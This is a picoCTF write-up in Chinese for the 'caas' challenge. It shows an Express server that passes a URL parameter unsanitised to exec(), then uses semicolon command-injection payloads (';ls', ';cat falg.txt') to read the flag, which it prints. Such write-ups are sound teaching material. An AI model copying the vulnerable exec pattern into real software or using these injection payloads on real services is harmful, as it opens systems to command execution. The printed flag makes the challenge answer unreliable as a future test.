Download index.js
index.js
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
Analysis
先看看首頁,只有幾行話:
https://caas.mars.picoctf.net/
然後按照上面所說,加上 path,例如 cowsay/hello
https://caas.mars.picoctf.net/cowsay/hello
_______
< hello >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
我打的 hello 照執行出來,透過原始碼得知,字串用了 exec() 函數執行顯示出來。
然後試試後面加上 ;ls
https://caas.mars.picoctf.net/cowsay/hello;ls
_______
< hello >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock
果然把目錄 output 出來
Exploit
payload 是後面加上 ;cat falg.txt
https://caas.mars.picoctf.net/cowsay/hello;cat%20falg.txt
%20 是空格
_______
< hello >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}